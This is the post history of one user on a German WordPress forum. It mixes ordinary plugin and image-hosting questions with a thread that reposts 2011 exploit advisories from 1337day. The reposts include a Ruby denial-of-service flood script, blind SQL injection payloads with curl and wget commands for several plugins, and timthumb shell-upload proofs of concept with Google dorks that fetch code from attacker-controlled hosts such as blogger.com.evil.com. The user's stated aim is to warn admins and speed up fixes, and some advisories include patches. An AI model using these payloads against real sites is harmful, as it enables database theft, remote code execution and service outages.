Beiträge von Dat Inge

Dat Inge

Mist. Aber stimmt, wenn ich so über dein Post nachdenke, ist es logisch.

8000? Dann sieht es bei dir ähnlich aus, wie bei mir. :?
Ich bin auch nur auf die Idee gekommen weil es ja Plugins wie Convert Post Types gibt.

Dat Inge

Gibt es ein Post Converter, womit ich das Aussehen, ältere Posts recht schnell, in das Aussehen, neuerer Post updaten kann, so das sie alle einheitlich sind?

Dat Inge

Danke. Jetzt gehts.

Dat Inge

Ich hab das Plugin WP Js External Link Info installiert, nur ist es so, dass die neuen Urls jetzt so aussehen:

Code

http://xxx.de/redirect.php?blog=blogname&url=http://google.de

Nun will ich einfach das

Code

blog=blogname&

entfernen, finde aber nirgends die Stelle dafür :???:

Hier mal der ganze Code.
http://pastebin.com/zpz2w3Xn

Dat Inge

Und beim internen, ist es ja so das der Server mehr zutun hat.
Aber ich denke auch es ist wohl besser, wenn ich es intern hoste.
Danke maxe

Dat Inge

Ich überlege nun schon einige Tage wie ich aus mein Blog einige Bremsen ausbauen oder optimieren kann.
Einiges hab ich auch schon gefunden. Nur bei den Artikelbildern bin ich mir nicht sicher, sollte man die besser auf einen externen Imageshoster hosten oder doch besser auf dem eigenen Server?

Dat Inge

Dos BP Random Member Widget Plugin WordPress

Zitat

# Exploit Title: Dos BP Random Member Widget Plugin WordPress
# Google Dork: allinurl: ?random-member
# Author: a01001100e@gmail.com
# Software Link: http://wordpress.org/extend/plugins/bp-random-member-widget/
# Version: BP Random Member Widget Version: 1.0
# Tested on: debian 2.6.32-5-686
require 'net/http'
require 'uri'
def fetch(uri_str, limit=0)
raise ArgumentError, 'HTTP redirect too deep' if limit == 0
response = Net::HTTP.get_response(URI.parse(uri_str))
case response
when Net::HTTPSuccess then
print response.code
when Net::HTTPRedirection then
a = response.body
else
response.error!
end
end
print "############################\n"
print "## DOS random-member ##\n"
print "## @author: a01001100e ##\n"
print "############################\n\n\n\n"

while 1 do
begin
t = Thread.new{fetch('http://www.sitio.com/members/?random-member')}
print "."
rescue Exception => msg
print "Error: "
puts msg
end
end

# 1337day.com [2011-10-17]

Alles anzeigen

http://www.1337day.com/exploits/17075

Dat Inge

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

Zitat

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

#Home page: http://hacking.ge/

# 1337day.com [2011-10-11]

Alles anzeigen

http://www.1337day.com/exploits/17053

Dat Inge

WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability

Zitat

# Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
# Date: 2011-10-14
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
# Version: 4.1.1 (tested)

---------------
PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1

e.g.

wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"

---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];

$separate = wppa_is_separate($alb);

$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&wppa-slide' : '';

Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
if (isset($_GET['wppa-'.$index])) { // New syntax first
return $_GET['wppa-'.$index];
}
if (isset($_GET[$index])) { // Old syntax
return $_GET[$index];
}
return $default;
}

Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
echo $result;
return $result;
}

---------------
Patch
---------------
*** ./wppa-functions.php 2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new 2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****

function wppa_get_album_title_linktype($alb) {
global $wpdb;
!
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
--- 3361,3367 ----

function wppa_get_album_title_linktype($alb) {
global $wpdb;
! $alb=intval($alb);
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
***************
*** 3384,3387 ****
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }

# 1337day.com [2011-10-14]

Alles anzeigen

http://www.1337day.com/exploits/17067

Dat Inge

WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability
# Date: 2011-10-13
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip
# Version: 2.7.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plu…-form.class.php
wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://127.0.0.1/wordpress/?p=1

---------------
Vulnerable code
---------------
Line 49:
public function the_content($content) {
global $wpdb;
global $table_name;
global $settings_table_name;

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

$form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

---------------
Patch
---------------

*** ./easy-form.class.php.orig 2011-10-13 19:53:05.674800956 -0400
--- ./easy-form.class.php 2011-10-13 19:51:21.442799615 -0400
***************
*** 54,61 ****
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

$continue = true;

--- 54,63 ----
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
! $wpcf_easyform_formid=$_POST['wpcf_easyform_formid'];
! $wpcf_easyform_formid=substr($wpcf_easyform_formid,2);
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$wpcf_easyform_formid);

$continue = true;

***************
*** 71,80 ****
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$_POST['wpcf_easyform_formid']."
ORDER BY position
");

--- 73,82 ----
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$wpcf_easyform_formid."
ORDER BY position
");

# 1337day.com [2011-10-13]

Alles anzeigen

http://www.1337day.com/exploits/17061

Dat Inge

WordPress wpsf-js plugin, SQL Injection

Zitat

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-10-16
#Author: [longrifle0x]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

# 1337day.com [2011-10-16]

Alles anzeigen

http://www.1337day.com/exploits/17069

Dat Inge

WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plu…&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
./export.php
require_once("./code/cls/export.php");
...
if (isset($_GET["ex"])) {
$export_type = $_GET["ex"];
...
switch($export_type) {
case "user":
header('Content-type: text/csv');
header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
$sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
$rows = $wpdb->get_results($sql, ARRAY_N);

./code/cls/export.php
class GDSRExport {
...
function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
...
$where = array();
...
$where[] = "v.vote_type = '".$data_export."'";
...
$j_where = join(" and ", $where);
...
return sprintf("select %s from %s where %s order by u.id",
$j_select, $j_tables, $j_where);

# 1337day.com [2011-10-12]

Alles anzeigen

http://www.1337day.com/exploits/17055

Dat Inge

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

Zitat

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

#Home page: http://hacking.ge/

# 1337day.com [2011-10-11]

Alles anzeigen

http://www.1337day.com/exploits/17053

Dat Inge

Danke art of Pic für die Meldung.
Genau dafür ist der Thread, denn so bekommen es mehr User/Admins/Coder mit und man kann schneller ein Fix bekommen. Glaube kaum, das sich jeder Admin auf 1337day rumtreibt. Aber fast alle sind hier im Forum.

Dat Inge

Man kennt es ja sicher, das man den letzten und den nächsten Beitrag unter einem Beitrag verlinken will. Siehe:
http://doku.wordpress-deutschland.org/Template_Tags/next_post
Nun habe ich ein Themes was nicht die volle Breite einnimmt somit wollte ich die Buchstaben Anzahl auf x Buchstaben beschränken. Nur finde ich nichts darüber.
Weiß einer eine Lösung dafür?

Dat Inge

WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability
# Date: 2011-09-19
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mingle-forum.1.0.31.zip
# Version: 1.0.31 (tested)
# Note: wpf_str_encrypt($_POST['wpf_security_code']) == $_POST['wpf_security_check']

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plu…/wpf-insert.php
wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" http://www.site.com/wp-content/plu…/wpf-insert.php

---------------
Vulnerable code
---------------
if (!isset($_POST['edit_post_submit'])) {
$errormsg = apply_filters('wpwf_check_guestinfo',"");
if ($errormsg != "") {
$error = true;
wp_die($errormsg);
}
}

if($options['forum_captcha'] == true && !$user_ID){
include_once(WPFPATH."captcha/shared.php");
$wpf_code = wpf_str_decrypt($_POST['wpf_security_check']); // wpf_str_decrypt("MhWNow==") == "fail"
if(($wpf_code == $_POST['wpf_security_code']) && (!empty($wpf_code))) {
// do nothing
}
else {
$error = true;
$msg = __("Security code does not match", "mingleforum");
wp_die($msg);
}
}

...

if(isset($_POST['edit_post_submit'])){
$myReplaceSub = array("'", "\\");
$subject = str_replace($myReplaceSub, "", $mingleforum->input_filter($_POST['edit_post_subject']));
$content = $mingleforum->input_filter($_POST['message']);
$thread = $mingleforum->check_parms($_POST['thread_id']);
$edit_post_id = $_POST['edit_post_id'];

if($subject == ""){
$msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
$msg .= ("<div id='error'><p>".__("You must enter a subject", "mingleforum")."</p></div>");
$error = true;
}
elseif($content == ""){
$msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
$msg .= ("<div id='error'><p>".__("You must enter a message", "mingleforum")."</p></div>");
$error = true;
}

if ($error) wp_die($msg);

//SECURITY FIX NEEDED <-- actual author's comment :)
$sql = ("UPDATE $mingleforum->t_posts SET text = '$content', subject = '$subject' WHERE id = $edit_post_id");
$wpdb->query($wpdb->prepare($sql)); // misusage of prepare statement(s)

# 1337day.com [2011-09-27]

Alles anzeigen

http://www.1337day.com/exploits/16975

Dat Inge

CevherShare 2.0 plugin SQL Injection Vulnerability

Zitat

=> WordPress CevherShare 2.0 plugin SQL Injection Vulnerability
=> Bugfounder: bd0rk
=> Contact: bd0rk[at]hackermail.com
=> Greetings: 1337day.com , Perle, Martin K., Carsten R., x0r_32
=> Affected-Software: WordPress CevherShare 2.0 plugin
=> Vendor: http://phpkode.com/
=> Download: http://phpkode.com/download/s/cevhershare.zip
=> Tested on: Ubuntu-Linux
Vulnerable C0de in cevhershare/cevhershare-admin.php
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
PoC: http://[someone]/wp-content/plugins/cevhershare/cevhershare-admin.php?id=[SQL-Injection]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
$pos = $_GET['pos'] ? $_GET['pos'] : $_POST['pos'];
$status = $_GET['status'] ? $_GET['status'] : $_POST['status'];
$task = $_GET['t'] ? $_GET['t'] : $_POST['t'];
$do = $_POST['do'];
if($do == "update-lang"){
$uplang = $_POST['update-lang'];
update_option('cevhershare_language',$uplang);
}
if($id) $item = $wpdb->get_row("SELECT * FROM ".$wpdb->prefix."cevhershare WHERE id=$id");
if($do == 'update') $wpdb->query("UPDATE ".$wpdb->prefix."cevhershare SET enabled='".$_POST['enabled']."', position='".$_POST['position']."', name='".$_POST['name']."', big='".$_POST['big']."', small='".$_POST['small']."' WHERE id='$id'");
elseif($do == 'add') $wpdb->query("INSERT INTO ".$wpdb->prefix."cevhershare (position, name, big, small) VALUES('".$_POST['position']."','".$_POST['name']."', '".$_POST['big']."', '".$_POST['small']."')");
elseif($do == 'delete') $wpdb->query("DELETE FROM ".$wpdb->prefix."cevhershare WHERE id=$id LIMIT 1");
elseif($do == 'reset') cevhershare_reset();
elseif($do == 'settings'){
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Greetings from cold Germany, bd0rk. :-)

# 1337day.com [2011-09-26]

Alles anzeigen

http://www.1337day.com/exploits/16971

Dat Inge

WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plu…out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
$meta = urldecode($_GET['track']);
...
list($ad, $group, $block) = explode("-", $meta);
...
$bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");

# 1337day.com [2011-09-24]

Alles anzeigen

http://www.1337day.com/exploits/16968

Dat Inge

Multiple Wordpress timthumb.php reuse vulnerabilities

Zitat

# Exploit Title: Multiple Wordpress timthumb.php reuse vulnerabilities
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)

---
Description
---
The following Wordpress plugins reuse a vulnerable version of the timthumb.php library.

By hosting a malicious GIF file with PHP code appended to the end on an attacker controlled
domain such as blogger.com.evil.com and then providing it to the script through the
src GET parameter, it is possible to upload a shell and execute arbitrary code on the webserver.

Reference: http://www.exploit-db.com/exploits/17602/

# Plugin: Category Grid View Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-grid-view-gallery
# Software Link: http://wordpress.org/extend/plugins…llery/download/
# Version: 0.1.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-grid-view-gallery/includes/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-grid-view-gallery/cache/externel_md5(src).php

# Plugin: Auto Attachments Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/auto-attachments
# Software Link: http://wordpress.org/extend/plugins…ments/download/
# Version: 0.2.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/auto-attachments/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/auto-attachments/cache/external_md5(src).php

# Plugin: WP Marketplace Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/wp-marketplace
# Software Link: http://wordpress.org/extend/plugins/wp-marketplace/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/wp-marketplace/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/wp-marketplace/libs/cache/external_md5(src).php

# Plugin: DP Thumbnail Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/dp-thumbnail
# Software Link: http://wordpress.org/extend/plugins/dp-thumbnail/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/dp-thumbnail/timthumb/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/dp-thumbnail/timthumb/cache/external_md5(src).php

# Plugin: Vk Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/vk-gallery
# Software Link: http://wordpress.org/extend/plugins/vk-gallery/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/vk-gallery/lib/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/vk-gallery/lib/cache/md5(src).php

# Plugin: Rekt Slideshow Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rekt-slideshow
# Software Link: http://wordpress.org/extend/plugins/rekt-slideshow/download/
# Version: 1.0.5

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rekt-slideshow/picsize.php?src=MALICIOUS_URL

Must first base64 encode the URL.

The uploaded shell can be found at /wp-content/plugins/rekt-slideshow/cache/md5(src).php

# Plugin: CAC Featured Content Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cac-featured-content
# Software Link: http://wordpress.org/extend/plugins…ntent/download/
# Version: 0.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cac-featured-content/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/cac-featured-content/temp/md5(src).php

# Plugin: Rent A Car Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rent-a-car
# Software Link: http://wordpress.org/extend/plugins/rent-a-car/download/
# Version: 1.0
---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rent-a-car/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/rent-a-car/libs/cache/external_md5(src).php

# Plugin: LISL Last Image Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/lisl-last-image-slider
# Software Link: http://wordpress.org/extend/plugins…lider/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/lisl-last-image-slider/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/lisl-last-image-slider/cache/external_md5(src).php

# Plugin: Islidex Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/islidex
# Software Link: http://wordpress.org/extend/plugins/islidex/download/
# Version: 2.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/islidex/js/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/islidex/js/cache/md5(src).php

# Plugin: Kino Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/kino-gallery
# Software Link: http://wordpress.org/extend/plugins/kino-gallery/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/kino-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/kino-gallery/cache/external_md5(src).php

# Plugin: Cms Pack Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cms-pack
# Software Link: http://wordpress.org/extend/plugins/cms-pack/download/
# Version: 1.3

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cms-pack/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/uploads/cms-pack-cache/external_md5(src).php

# Plugin: A Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/a-gallery
# Software Link: http://wordpress.org/extend/plugins/a-gallery/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/a-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/a-gallery/cache/external_md5(src).php

# Plugin: Category List Portfolio Page Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-list-portfolio-page
# Software Link: http://wordpress.org/extend/plugins…-page/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-list-portfolio-page/scripts/cache/external_md5(src).php

# Plugin: Really Easy Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/really-easy-slider
# Software Link: http://wordpress.org/extend/plugins…lider/download/
# Version: 0.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/really-easy-slider/inc/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/really-easy-slider/inc/cache/external_md5(src).php

# Plugin: Verve Meta Boxes Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/verve-meta-boxes
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins…boxes/download/
# Version: 1.2.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/verve-meta-boxes/tools/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/verve-meta-boxes/tools/cache/external_md5(src).php

# Plugin: User Avatar Wordpress plugin shell upload vulnerability
# Google Dork: inurl:wp-content/plugins/user-avatar
# Software Link: http://wordpress.org/extend/plugins/user-avatar/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/user-avatar/user-avatar-pic.php?id=0&allowedSites[]=blogger.com&src=http://blogger.com.evil.com/poc.php

Requires register_globals to be enabled and at least one user account to have an avatar directory.

The uploaded shell can be found at /wp-content/uploads/avatars/$id/external_md5(src).php

# Plugin: Extend Wordpress Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/extend-wordpress
# Software Link: http://wordpress.org/extend/plugins…press/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/extend-wordpress/helpers/timthumb/image.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/extend-wordpress/helpers/timthumb/cache/external_md5(src).php

# 1337day.com [2011-09-19]

Alles anzeigen

http://www.1337day.com/exploits/16953

Dat Inge

Weiß das echt keiner?

Willkommen! Melden Sie sich an oder registrieren Sie sich.

Beiträge von Dat Inge

Post Converter

Post Converter

WP Js External Link Info

WP Js External Link Info

Bilder besser extern oder intern hosten?

Bilder besser extern oder intern hosten?

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

Template Tags/next post auf x Buchstaben beschränken?

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

[Sammelthread] WordPress Plugin SQL Injections

Artikelbild, nur 1 Größe, statt 3